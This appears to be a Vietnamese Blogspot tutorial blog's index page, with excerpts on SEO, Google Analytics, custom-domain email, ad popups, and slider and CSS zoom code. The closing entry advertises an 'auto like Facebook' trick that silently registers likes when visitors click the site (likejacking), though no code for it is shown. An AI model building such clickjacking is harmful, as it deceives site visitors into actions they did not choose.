Hướng dẫn cách tối ưu chuẩn SEO Onpage cho Blogspot chi tiết

Cách tối ưu chuẩn SEO Onpage cho Blogspot . Cách tối ưu SEO title cho blogspot. Cách tối ưu chuẩn SEO Onpage tránh trùng lặp tiêu đề cho Blogspot .Hướng dân cách tối ưu chuẩn SEO Onpage cho Blogspot .

Chào các bạn mình là Bít Tuốt hôm nay mình sẽ hướng dẫn các bạn các bước tối ưu 1 blogspot để có thể gọi là chuẩn SEO Onpage để các bạn có thể dễ dàng SEO lên top google

Nếu bạn nào chưa biết cách tạo blogspot hay thay đổi giao diện blog thì đọc bài này nhé: Hướng dẫn cách tạo blog bằng Blogspot của Google

Đọc thêm »

Cách tạo widget bài mới nhất có ảnh cho blogspot

Widget bài mới nhất có ảnh cho blogspot. Hướng dẫn cách tạo widget bài mới nhất có ảnh miêu tả cho blogspot.(Widget có thể hiểu là 1 tiện ích nhằm trang trí, thêm 1 chức năng cho blogspot bạn)

Chào các bạn hôm nay Bít Tuốt Blog xin hướng dẫn với các bạn cách tạo tạo widget bài mới nhất có ảnh cho blogspot . Đặc điểm của widget này là nó sẽ hiển thị bài viết mới nhất trên blog của bạn trong đó gồm có hình ảnh, Tiêu đề bài viết và mô tả sơ qua bài viết đặc biệt là nó có cả phần xem bài viết cũ hơn hoặc mới hơn kèm theo. Tiện ích này bạn có thể thêm vào thanh bên phải hoặc bên trái blog giúp người đọc có thể xem được các bài viết mới nhất từ blog của bạn.

Đọc thêm »

Cách tạo Slider bài mới nhất theo nhãn cho Blogspot

Cách tạo Slider bài mới nhất theo nhãn cho Blogspot. Slider Blogspot hiển thị bài viết mới nhất theo nhãn(label) cho Blogspot, Hướng dẫn cách tạo Slider bài mới nhất theo nhãn cho Blogspot

Chào các bạn hôm nay Bít Tuốt xin chia sẻ với các bạn cách tạo một Slider có ảnh và tiêu đề mô tả bài viết mới nhất theo nhãn cho blogspot của bạn. Điều đặc biệt của slider này là tự động chuyển các bài viết theo 1 thời gian cố định và hiển thị số bài đăng ra theo nhãn mà bạn muốn hiển thị trên trang chủ của bạn.

Đọc thêm »

Hướng dẫn cài đặt Google Analytics cho website - blog

Hướng dẫn cài đặt Google Analytics cho website - blog .Hướng dẫn sử dụng Google Analytics.Hướng dẫn cập nhật google analytics lên website để theo dõi.Hướng dẫn thêm website vào tài khoản quản trị Google Analytics

Google Analytics là cung cụ miễn phí của Google, giúp chủ website thấy cách khách hàng đến từ đâu (nguồn truy cập), dùng ngôn ngữ gì, thiết bị gì, xem những trang nào, họ di chuyên giữa các trang như thế nào.

Bạn có thể biết được, hiện tại có bao nhiêu người đang online trên website, họ đang xem nội dung gì. Đây là công cụ không thể thiếu khi làm Internet Marketing hay SEO Website.


Hướng dẫn cài đặt Google Analytics cho website - blog 

Để có được các số liệu thống kê, bạn phải có tài khoản gmail và nhúng được mã Analytics vào website.
(Chú ý mình hướng dẫn bằng trình duyệt tiếng Việt Nhé vì vậy các bạn vaog gmail và chỉnh nó về tiếng Việt để dễ làm nhé)

Bước 1: Truy cập http://www.google.com.vn/analytics/ bằng tài khoản gmail của bạn

- Click vào chữ Creata an account (Tạo tài khoản)

Đọc thêm »

Cách chèn quảng cáo vào bên trong bài viết cho Blogspot

Cách chèn quảng cáo vào bên trong bài viết cho Blogspot.Hướng dẫn auto hiển thị quảng cáo chèn quảng vào trong bài viết trong Blogger. Làm sao để auto chèn được quảng cáo vào bên trong bài viết cho blogspot.Hướng dẫn chèn quảng cáo trên đầu và dưới tiêu đề bài đăng nhưng dưới tiêu đề bài viết blog.

Hôm nay mình có nhận được 1 câu hỏi như sau: Làm sao để auto hiển thị quảng cáo trong bài viết blogspot ?

Sau khi mình đọc được câu hỏi này mình tìm hiểu và quyết định viết bài chia sẻ cho nhưng ai quan tâm đang muốn kiếm tiền từ blogspot bằng cách chèn quảng cáo vào trong bài viết các bạn thử làm theo hướng dẫn dưới đây nhé:

Đọc thêm »

Hướng dẫn cách tạo email google theo tên miền web

Hướng dẫn cách tạo email google theo tên miền web. Làm sao để tạo được mail theo tên miền web miễn phí. Cách tạo email google theo tên miền web miễn phí. Cách tạo E-mail công ty từ tài khoản google.Cách đăng ký sử dụng Gmail theo tên miền riêng

Để tạo được một email Google theo tên miền của bạn trước tiên bạn phải có một tên miền riêng cho email của mình (có nghĩa là bạn có thông tin quản trị cái tên miền đó), không phải là tên miền chia sẻ hay tên miền của bên thứ ba. Ví dụ: địa chỉ email của bạn phải giống như sau bittuot@abc.com.vn, chứ không phải seo.vnpro@gmail.com

Hướng dẫn tạo email google theo tên miền web

Bước 1: Đầu tiên bạn truy cập vào địa chỉ này: www.google.com/a/cpanel/education/new?hl=vi.
- Rồi điền đầy đủ thông tin như bên dưới

- Nhấn tiếp theo bạn sẽ được như hình dưới

- Nhấn tiếp theo bạn sẽ được như hình dưới và điền đầy đủ thông tin

- Nhấn tiếp theo bạn sẽ được như hình dưới

- Nhấn vào Đi tới Bảng điều khiển sẽ được như hình dưới

- Click vào Bắt Đầu thiết lập  ==> Xác Minh Miền ==> Bắt Đầu Xác Minh ==> Ở mục chọn nhà cung cấp hoặc công ty đăng ký tên miền của bạn ==> bạn chọn khác ==> Bạn sẽ được hình như hình dưới ==> Các bạn đừng vội nhấn Xác Minh vội mà hãy làm thêm bước dưới đây xong rồi hãy nhấn

- Bước tiếp theo bạn cần làm là vào đăng nhập trang quản trị tên miền và cấu hình nó như sau:

- Bấm nút "+ THÊM ", và thêm bản ghi với giá trị google đã cung cấp vào mục "VALUE" (địa chỉ)  là phần google đã cấp cho bạn "google-site-verification=gNp4nmJ1X3EgsxL8nm-eh0V-AMa0PQSs-rHIxxvqg-0"

- Với TYPE (Loại) là "TXT" và
- Host Record (Host) là: "@".

Bạn cần chờ khoảng 1 phút để các bản ghi DNS có hiệu lực trên internet, Sau đó quay lại mục xác minh tên miền tại google và nhấn nút "XÁC MINH".


Cách Sử dụng Google Apps và Email theo tên miền riêng:

- Bạn truy cập vào bảng điều khiển Google Apps theo địa chỉ sau:
https://www.google.com/a/cpanel/ten-mien-cua-ban/Dashboard

- Như của mình sẽ là : https://www.google.com/a/cpanel/shophangtieudung.com/Dashboard

- Tại đây bạn bắt đầu với các chức năng như thêm người dùng,tạo mail người dùng,thay đổi pass,xóa người dùng, đổi tên,đổi mail người dùng mà không bị mất dữ liệu ...... các bạn tự trải nghiệm nhé

Chú ý với dịch vụ này bạn chỉ được tạo miến phí 10 mail thôi nhé. Nếu tạo hơn thì bạn phải mất phí.

- Để đăng nhập mail này bạn vào địa chỉ gmail.com . Như bình thường và điền tên đăng nhập điền đầy đủ abd@tenmien.com,vn nhé  và điền pass vào là ok . Giao diện mail hoàn toàn như gmail .

Chúc các bạn thành công !


Mọi thắc mắc vui lòng để lại commnent phía dưới !

Cách thêm comment facebook và quản lý comment cho Blogspot

Cách thêm comment facebook và quản lý comment cho Blogspot - website . Chèn khung Comment Facebook cho Blogspot .Hướng dẫn Cách thêm comment facebook và quản lý comment cho Blogspot .Làm sao để có thể quản lý được comment facebook trên blogspot của mình (xóa comment của người khác, và nhận thông báo khi có comment mới )

Sau khi mình viết bài: Cách thêm comment facebook cho Blogspot có nhiều bạn đưa ý kiến là không quản lý được các comment trên blogspot đó. Không biết khi nào có comment mới , và xóa những comment mang tính khiếm nhã như thế nào. Vì vậy sau đây Bít Tuốt xin chia sẻ với các bạn Cách thêm comment facebook và quản lý cho Blogspot để các bạn có thể dễ dàng trả lời và quản lý comment khi có comment mới trên blog - website của bạn. Hãy cùng Bít Tuốt xem chi tiết hướng dẫn dưới đây :

Đọc thêm »

Code chèn popup quảng cáo ở góc phải - góc trái màn hình web

Code chèn popup quảng cáo ở góc phải - góc trái màn hình web.Cách chèn khung quảng cáo ở góc phải màn hình cho website - Blogspot có thể tắt mở quảng cáo.Code chèn popup quảng cáo ở góc phải màn hình cho website - blogspot . Code chèn popup quảng cáo ở góc trái màn hình cho website - blogspot

Bài viết bạn có thể quan tâm:
- Cách chèn khung Like Fanpage ở góc phải - góc trái màn hình
- Code tạo banner quảng cáo banner chạy dọc 2 bên web - Blogspot

Sau đây Bít Tuốt Blog xin chia sẻ với các bạn : Code chèn popup quảng cáo ở góc phải - góc trái màn hình web các bạn thực hiện theo các bước sau:

Chú ý các bạn thay các mục sau cho hợp lý
- http://bittuot.blogspot.com/ :  Link fanpage của bạn
- width=250 : Chiều rộng khung
- height=200: Chiều cao khung
- Phần link ảnh tronng phần <img src="...." /> các bạn thay bằng link ảnh của các bạn nhé


Code chèn popup quảng cáo ở góc phải màn hình cho website - Blogspot

Đọc thêm »

Hướng dẫn cách tạo blog bằng Blogspot của Google

Hướng dẫn cách tạo blog bằng Blogspot của Google. Hướng dẫn cách tạo blog google . Cách tạo và thay đổi giao diện cho blogspot. Hướng dẫn cách dùng, cách viết bài quản trị blogspot.

Nhằm giúp các bạn tiếp cận với thế giới blog, tạo và trở thành 1 blogger chuyên nghiệp mình xin chia sẻ cách đơn giản để tạo một blog đẹp bằng Blogspot.

Bài viết bạn có thể quan tâm:
- Cách tối ưu chuẩn SEO Blogspot
- Cách tối ưu thẻ H1 cho blogspot
- Cách tối ưu meta Title blogspot
- Cách tối ưu meta keywords Blogspot
- Cách tối ưu Meta Description  Blogspot

Với việc sở hữu một blogspot bạn hoàn toàn có thể "làm chủ" thế giới của mình: nó có thể là nơi chia sẻ tình cảm, tâm trạng, nơi gặp gỡ bạn bè, chia sẻ những câu chuyện, hoặc thậm chí bạn có thể biến hóa 1 blog thành 1 shop bán hàng, trang web tin tức, thủ thuật, web xem phim, 1 wap game,web doanh nghiệp,kinh doanh dịch vụ .... mà hoàn toàn miễn phí.

Còn sau đây hãy cùng Bít Tuốt bắt tay vào việc tạo blogspot cho riêng mình thôi !

Hướng dẫn cách tạo blog bằng Blogspot của Google

- Để tạo 1 blogspot trước tiên bạn cần có một tài khoản Gmail ( nó có dạng như là seo.vnpro@gmail.com, bittuot.deptrai@gmail.com...) Nếu chưa có thì bạn tạo một cái nhé.

- Sau khi có một tài khoản gmail, bạn truy cập vào: http://blogger.com hoặc http://blogspot.com

- Click vào "Blog mới" để tạo .

-  Bạn điền tiêu đề blog , địa chỉ blog của bạn và mẫu template bạn muốn (cái này bạn chọn cái bất kỳ nhé) rồi nhấn "Tạo Blog" vậy là bạn đã tạo blog thành công

Đọc thêm »

Cách tối ưu thẻ H1 cho blogspot

Cách tối ưu thẻ H1 cho blogspot. Cách chỉnh tiêu đề bài viết thành thẻ h1.Hướng dẫn cách chèn thẻ h1 vào tiêu đề bài viết blogspot. Cách chỉnh tiêu đề blogspot thành thẻ h2,h3

Hiện mình có lướt qua một số diễn đàn và có thấy một số bạn đang cần trợ giúp về vấn đề tối ưu thẻ H1 cho blogspot vì vậy Bít Tuốt viết bài này mong giúp đỡ được những bạn đang gặp vướng mắc trong vấn đề này.

Bài viết bạn có thể quan tâm:
- Cách tối ưu chuẩn SEO Blogspot
- Cách tối ưu thẻ H1 cho blogspot
- Cách tối ưu meta Title blogspot
- Cách tối ưu meta keywords Blogspot
- Cách tối ưu Meta Description  Blogspot

Đọc thêm »

Code Slide ảnh chạy ngang liên tục không bị khoảng trống

Code Slide ảnh chay ngang liên tục không bị khoảng trống. Sau đây Bít Tuốt xin chia sẻ với các bạn cách tạo slide ảnh chạy ngay liên tục mà không có khoảng trống như khi ta dùng thẻ marquee

Hiệu ứng có thể làm cho một nhóm các hình ảnh (logo, banner,...) chạy ngang liên tục trên trang web, nếu không xem mã nguồn, có thể ta sẽ lầm tưởng rằng đây là một trong những đoạn mã sử dụng thẻ MARQUEE để thực hiện việc di chuyển. Bạn có thể xem demo phía dưới đây.

Cách tạo Slide ảnh chay ngang liên tục không bị khoảng trống

1. Phần css và Javasctipt

Các bạn cop đoạn code dưới đây lên trên thẻ đóng </head>

<style type="text/css">
<!--
#slideCont {
  border:solid 1px #000;
 text-align:center;
}

#slideCont img {
  margin: 5px;
}
-->
</style>

<script type="text/javascript">

function clip() {
  // width of the banner container
  var contWidth = 425;
  // height of the banner container
  var contHeight = 90;

  var id1 = document.getElementById('slideA');
  var id2 = document.getElementById('slideB');

  id1.style.left = parseInt(id1.style.left)-1 + 'px';
 
  document.getElementById('slideCont').style.width = contWidth + "px";
  document.getElementById('slideCont').style.clip = 'rect(auto,'+ contWidth +'px,' + contHeight +'px,auto)';
  id2.style.display = '';
  if(parseFloat(id1.style.left) == -(contWidth))  {
  id1.style.left = '0px';
  }
  setTimeout(clip,25)
}

function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof window.onload != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      if (oldonload) {
        oldonload();
      }
      func();
    }
  }
}

addLoadEvent(function() {
  clip();
});
//-->
</script>

2. Phần HTML của bạn cần làm như sau 

- Các bạn tùy biến chiều dài rộng kick cỡ ảnh cho phù hợp nhé

<div id="slideCont" style="clip: rect(auto, 425px, 90px, auto); height: 90px; overflow: hidden; position: relative; top: 0px; width: 425px; z-index: 1;">
<div id="slideA" style="height: 90px; left: -194px; overflow: hidden; position: absolute; top: 0px; width: 850px; z-index: 1;">
<div id="innerSlideA" style="float: left;">
<a href="http://www.apache.org/"><img border="0" height="44" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/1.jpg" width="126" /></a>
   <a href="http://www.haan.net/"><img border="0" height="60" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/2.jpg" width="120" /></a>
   <a href="http://www.mysql.com/"><img border="0" height="44" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/3.jpg" width="126" /></a>

  </div>
<div id="slideB" style="height: 90px; left: 0px; overflow: hidden; position: relative; top: 0px; width: 425px; z-index: 1;">
<a href="http://www.apache.org/"><img border="0" height="44" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/4.jpg" width="126" /></a>
   <a href="http://www.haan.net/"><img border="0" height="60" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/5.jpg" width="120" /></a>
   <a href="http://www.mysql.com/"><img border="0" height="44" src="http://www.webdesignandsuch.com/posts/jquery-logo-slider-ticker/logos/6.jpg" width="126" /></a>
  </div>
</div>
</div>

Templates blogspot đẹp được thiết kế và chỉnh sửa bởi Bít Tuốt

Templates blogspot đẹp được thiết kế và chỉnh sửa bởi Bít Tuốt. Tổng hợp các Templates blogspot đẹp được thiết kế và chỉnh sửa bởi Bít Tuốt.Các Templates blogspot làm shop thời trang, tin tức, trang xem phim, blog bán hang .... được thiết kế và chỉnh sửa bởi Bít Tuốt

Hiện nay mình có bỏ thời gian ra để thiết kế và chỉnh sửa tối ưu SEO cho 1 số theme blogsspot mà mình thích trên mạng ai có nhu cầu mua các tem blog này xin liên hệ với mình qua :
- Gmail: Seo.vnpro@gmail.com 
- Facebook: https://www.facebook.com/bit.tuot.587
- Yahoo: seo.vnpro@yahoo.com
- Skype: Seo_vnpro
(Khuyến khích liên hệ qua mail vì mấy cái kia mình ít vào. Nếu mình không trả lời mail có thể do mình bận công việc nên mọi người thông cảm nhé )


1. Templates blogspot Shop bán hàng 

Link Demo tại đây

2. Templates blogspot Shop bán hàng phiên bản 2

Demo

3. Templates blogspot bán hàng phiên bản 3

Tem này có tích hợp giỏ hàng, khi thanh toán xong thông tin khách hàng đăng ký xong sẽ được gửi trả vào mail admin và mail khách hàng đã đăng ký

DEMO

4. Theme blogspot rất thích hợp cho các trang dịch vụ xe

DEMO

Và còn nhiều tem nữa mình đang hoàn thiện dần :D .

Bài viết bạn có thể quan tâm:

- Theme phim đẹp cho blogspot
- Theme Blogspot Free - 24 trang cung cấp Template Blogspot Free

Code Slider đẹp cho web - blog thời trang

Code Slider đẹp cho web - blog thời trang. Sau đây Bít Tuốt xin chia sẻ với các bạn Code Slider đẹp  rất thích hợp cho các web thời trang hay blog thời trang. Các bạn xem demo tại đây

Cách tạo Silder này như sau:

Bước 1: Thêm dưới đây lên trên thẻ đóng </head>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" src="https://sites.google.com/site/tessssssssblog/jquery.transform-0.9.3.min_.js"></script>
<script type="text/javascript" src="https://sites.google.com/site/tessssssssblog/jquery.mousewheel.js"></script>
<script type="text/javascript" src="https://sites.google.com/site/tessssssssblog/jquery.RotateImageMenu.js"></script>
<link rel="stylesheet" type="text/css" href="https://sites.google.com/site/tessssssssblog/style.css" />

Bước 2: Bạn thêm phần này vào chỗ bạn muốn hiển thị

<div class="rm_wrapper">
<div id="rm_container" class="rm_container">
<ul>
<li data-images="rm_container_1" data-rotation="-15"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpnnY3gNF5QZYx1qem9lwQAFy9J0YcWMZT2Krsbs4rmqcAq5IrFc2YDFPaYMtzRzHbi1JTStwqgIQy1JprR2YPuVjjnhqXshli84CMAEimBfQCytISEBNbcmKc1G1y7SpSYQyRytxJLgA/s1600/12.jpg"/></li>
<li data-images="rm_container_2" data-rotation="-5"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1j3wpSr2zR9Dx7l3SchMkFC6XVce62u02Q8oOgI3IhWxbp4_pdCB4t8Ec-fMOditutOnfd3WDauevx4ZAwnExFX1w-RImDNbGNSLMuHi6L0tudodvxoPm1UIndgSeFYszgGtZGfpnH5k/s1600/13.jpg"/></li>
<li data-images="rm_container_3" data-rotation="5"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0gpjaL4tSAtnGJ1ZRbaSzSxBVkekLespIZSPEIMNZgng4vJlkmrzDNFumkYFW_cNc46eiD23vMvQ9Ygr7n99fcigDCv7DOBwD2l057JQnhZTV_ZfYvvLiBzgYM5yUaIsSr3Ib9o5hgqY/s1600/14.jpg"/></li>
<li data-images="rm_container_4" data-rotation="15"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEdcMvM4Lyk6TpmIKb7KA5PBnBelaXDWsIBIgh9XAXJExkGoKP8_JiUmcJyFfB9x3ke5EpHsoqKlJSgR39NNfiAxOGs05MeRnIYv_yv9VWfrdVl7Ig4xzrftWYeH-nqDKJG45VxS7wz1c/s640/15.jpg"/></li>
</ul>
<div id="rm_mask_left" class="rm_mask_left"></div>
<div id="rm_mask_right" class="rm_mask_right"></div>
<div id="rm_corner_left" class="rm_corner_left"></div>
<div id="rm_corner_right" class="rm_corner_right"></div>
<h2>Fashion Explosion 2012</h2>
<div style="display:none;">
<div id="rm_container_1">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7lXX9q7SnSgLH-DtMyglfSEsJNui2R-Ox6qa5_2NUYGElV2BXcyfk9zsiDHnhKINi_dENyGbcG5jlBw_yja2ZWmJhn4RcvksxTEYNJhI3DSmf-TpxfFX9jkzpkFZmShyNhaleWRm9CJE/s1600/16.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRVHBGRn-MzSssoNHBXINtpE2HZV-vk0sYAWqZkuKp4Q_QFP5IcFSf-UXSqrXBwQF3wJbIsVL4sOzbHnHCdrwEGvnR16na-9ny2rmKKeKzRBoYiHi-tp5iD0G2b4SbshDHjyRFMBF9V30/s1600/11.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Dlgc9HZAo3ELslbb7NrcxoNq4Ughnz0k0yW-k53IZQ3jKlIemmM94O3dkEqtLBYnNiXx659o3cAN-YgP6kcN-aZ993uV8USFXQOVNKNKj-eXItTid0AhLjFgsQSu7OrI85AUzPzEeMo/s1600/1.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSIpBSBokger-SMx3qnI4N14qYdTMIngGgkI4oNe8oWVHSZIxe-FDdHM8J1JZmSv4bO-MC4JDeX5rQYyMMPQe7u-te66_xhGqnbnjPil0HthurSC88QT-apw50AWTD0ztDpoAcfs_PpuA/s1600/9.jpg"/>
</div>
<div id="rm_container_2">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHhhK8LKCFU4-4doXehl-IEoHByTAXB2xPINlcHNKr1jIfX7c8z30oo3AEwIZE7Z0-vpPi3My1ZegxPg_cytONFXaLJrT3s91CzTG-IDQ08UIw_CXBYp2oco0igRUZl8N9-1_VEsOZyQ/s1600/8.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7JkuMqIYiQHkpIV-zqHZEqlKgMnjX8EngymObmolsygfqYZN_06EU32QRQtE461V3jrXlIqXbVtG3tUB0WKAHS1YWmFkwA2CFKaOc1QcYeXKUXW7YhLQnymSw-qroe61Fsj7ndw4f2B4/s1600/7.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitxR4EV9VhbvXbcMxH0ofPpyM-qmI6SCNDzRtYirTBObe6tvYVw5ZRJonHzp7a4_Rw73qDxC6Wf1AS_mY3AZPp11Pb47ZHn7vRV5a4THFnx3_EQEXFLUgLH5qNVS8YABCpIKXHJyNeLvI/s1600/6.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrEwE_Uexj12wlkLBqhtZDuEfzGauDgQipYbXVRsHwQuEMGBgyN0Y4G-B2WBVP-qyIeRlvd-E1BKrp7DJYj6yCwy6YpQ7Q5UIqZY0cOl_u3pr2YftVfdAZ58jajxD1MJ2kyZ7W5q4gSwI/s1600/5.jpg"/>
</div>
<div id="rm_container_3">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFUQp3K6XS_sOnhaKbGhPzbr33Ar39nsQpAwdgFz8MnqpzWy3POo0qFS8XaKLl8mXyW8UR3B49sV_L-csSdz5xX17Filfqiu4JK44KWaEU_9_rTdttiGcse33Ulx0UJkMbDBBpbk0Uyhw/s1600/10.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoc0dUEuBU1-gSlzdz0QD4eNYjLhUop8z-EW31KavuLP4HRORMaAXto65b04z7H-cwg-lwn20milDCk65pH19zYvwq21pSRsOXt0BmMvp6uKzNaAzXvgOutMSz7IGfaZWjaxtOL8_f5I4/s1600/4.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlCzt-In3R5SMABHVB1S4v6oTw9LN6zdqxhmgdjcV0Z3MtyXCj1P0ftAdGevsyt2zyCxt5FeohpAnTMTm9DoPuK38oz6laTmKSPNHuDqOPBDEjFJ_xiINQ1_tradZQSe_pK4bc3Tbvy1s/s1600/3.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaG0hnCYV7AdWqfZYO5TLQf4UtsdjP-7p_sT4bizaLnqg5sOSSCXg18EgQ-f39GF7lZ3tp-aMne5dSSawSYtEcBkIFmyCQnCm423_9sEFVGIbvf9nchPHe6XEpJBY98322tB7OaXAvCts/s1600/2.jpg"/>
</div>
<div id="rm_container_4">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Dlgc9HZAo3ELslbb7NrcxoNq4Ughnz0k0yW-k53IZQ3jKlIemmM94O3dkEqtLBYnNiXx659o3cAN-YgP6kcN-aZ993uV8USFXQOVNKNKj-eXItTid0AhLjFgsQSu7OrI85AUzPzEeMo/s1600/1.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7JkuMqIYiQHkpIV-zqHZEqlKgMnjX8EngymObmolsygfqYZN_06EU32QRQtE461V3jrXlIqXbVtG3tUB0WKAHS1YWmFkwA2CFKaOc1QcYeXKUXW7YhLQnymSw-qroe61Fsj7ndw4f2B4/s1600/7.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7lXX9q7SnSgLH-DtMyglfSEsJNui2R-Ox6qa5_2NUYGElV2BXcyfk9zsiDHnhKINi_dENyGbcG5jlBw_yja2ZWmJhn4RcvksxTEYNJhI3DSmf-TpxfFX9jkzpkFZmShyNhaleWRm9CJE/s1600/16.jpg"/>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaG0hnCYV7AdWqfZYO5TLQf4UtsdjP-7p_sT4bizaLnqg5sOSSCXg18EgQ-f39GF7lZ3tp-aMne5dSSawSYtEcBkIFmyCQnCm423_9sEFVGIbvf9nchPHe6XEpJBY98322tB7OaXAvCts/s1600/2.jpg"/>
</div>
</div>
</div>
<div class="rm_nav">
<a id="rm_next" href="#" class="rm_next"></a>
<a id="rm_prev" href="#" class="rm_prev"></a>
</div>
<div class="rm_controls">
<a id="rm_play" href="#" class="rm_play">Play</a>
<a id="rm_pause" href="#" class="rm_pause">Pause</a>
</div>
</div>
</div>

Chú ý: Bạn có thể thay đổi kick thước phù hợp trong file style.css nhé. Các bạn có thể down code về xem chi tiết tại đây

Code Zoom ảnh lớn hơn khi hơ chuột bằng CSS3

Code Zoom ảnh lớn hợn khi hơ chuột bằng CSS3. Code CSS zoom ảnh khi hơ chuột vào ảnh. Code phóng to ảnh khi hơ chuột vào bằng CSS.

Sau đây Bít Tuốt xin chia sẻ với các bạn  Code Zoom ảnh lớn hơn khi hơ chuột bằng CSS3

Ảnh đề mô

Để Zoom ảnh lớn hơn khi hơ chuột chúng ta sẽ áp dụng 2 thuộc tính của CSS3:

- transform: scale(x,y)  -  theo đó x, y là các giá trị ta muốn phóng lên theo trục x và y, thường thì ta để x = y để bức ảnh được phóng to mà vẫn giữ nguyên tỉ lệ. Chẳng hạn transform: scale(2,2) sẽ làm bức ảnh phóng to lên 2 lần

- transition: all 1s ease  -  theo đó chúng ta sẽ làm bức ảnh được phóng to dần dần trong khoảng thời gian 1s chứ không bụp một cái to lên luôn

Và giờ là code mẫu:

<style type='text/css'>

img {
transition: all 1s ease;
-webkit-transition: all 1s ease;
-moz-transition: all 1s ease;
-o-transition: all 1s ease;
}

img:hover {
transform: scale(2,2);
-webkit-transform: scale(2,2);
-moz-transform: scale(2,2);
-o-transform: scale(2,2);
-ms-transform: scale(2,2);
}

</style>

Đoạn code trên có nghĩa là mọi hiệu ứng chuyển đổi sẽ diễn ra trong vòng 1s, hiệu ứng sẽ xảy ra khi hover qua ảnh và làm bức hình tăng kích thước lên 2 lần.

Các tiền tố như:  -webkit, -moz, -o, -ms là để phù hợp với các trình duyệt khác nhau.

Chúc các bạn thành công !

Nguồn bài viết được dịch từ website: http://www.mybloggertricks.com/ . Nguồn bài viết không có gì để giải thích thêm hết !

Code popup thông báo xuất hiện chỉ 1 lần khi vào trang web blogspot

Code popup xuất hiện chỉ 1 lần khi vào trang web blogspot. Hướng tạo popup thông báo,banner quảng cáo xuất hiện chỉ 1 lần khi vào trang web blogspot.

Hôm nay Bít Tuốt sẽ hướng dẫn các bạn tạo code tạo popup thông báo hay banner thông báo,quảng cáo...chỉ lần đầu tiên vào website không xuất hiện thêm nữa khí vào đọc các bài viết khác nhau để không gây khó chịu cho người dùng

Đọc thêm »

Code tạo banner quảng cáo banner chạy dọc 2 bên web - Blogspot

Code tạo banner quảng cáo banner chạy dọc 2 bên web - Blogspot.Hướng dẫn tạo quảng cáo trượt 2 bên trang web.Code tạo banner quảng cáo banner chạy dọc 2 bên website.Javasrcipt quảng cáo chạy 2 bên trang web.Code tạo banner quảng cáo banner chạy dọc 2 bên web - Blogspot khi kéo chuột xuống thì nó chạy theo

Sau đây Bít Tuốt Blog xin chia sẻ đến các bạn hay làm web-blogspot đang có nhu cầu tạo banner quảng cáo, Code này khá tiện lợi vì khi gặp màn hình vuông (độ phân giải 768x1024) thì banner sẽ không bị chèn vào trong gây khó chịu vướng víu mà nó sẽ tự mất đi, nhưng chỉ những ai sử dụng màn hình dài mới thấy được quảng cáo. Và code này đã fix cho nằm im và chạy dọc rất êm ái ko chạy giựt giựt gây nhức mắt cho người dùng

Đọc thêm »

Cách tối ưu Title - Meta Description - Meta Keywords cho blogspot

Cách tối ưu Title - Meta Description - Meta Keywords cho blogspot. Cách tối ưu Title - Meta Description - Meta Keywords cho các trang lưu trữ,search label (trang nhãn),static page blogspot ... Cách thay đổi title,tiêu đề - Meta Description - Meta Keywords cho trang search label , trang lưu trữ archive,static page theo ý muốn blogspot

======================================

Sau đây Bít Tuốt Blog xin hướng dẫn các bạn Cách tối ưu Title - Meta Description - Meta Keywords cho blogspot. Đây là cách giúp các bạn có thể tùy biến thay đổi tiêu đề - Meta Description - Meta Keywords cho trang search label, trang lưu trữ archive,static page giúp tránh tình trạng bị trùng lặp tiêu đề cho blogspot của bạn và tối ưu trong SEO hơn.

Nếu thấy hay và bổ ích đừng quên nhấn like và +1 để ủng hộ Bít Tuốt nhé. Chú ý : Ai có ý định copy bài viết này thì hãy nhớ ghi rõ nguồn là tại Bít Tuốt Blog - bittuot.blogspot.com xin cảm ơn !

Bài viết bạn có thể quan tâm:
- Cách tối ưu chuẩn SEO Blogspot
- Cách tối ưu thẻ H1 cho blogspot
- Cách tối ưu meta Title blogspot
- Cách tối ưu meta keywords Blogspot
- Cách tối ưu Meta Description  Blogspot

Đọc thêm »

Auto Like Facebook khi click chuột vào web không bị unlike

Auto like Facebook khi click chuột vào web không bị unlike khi bấm lần 2.Code auto like Facebook bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike (dislike).Code auto like Facebook khi click chuột vào web không bị unlike bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike.

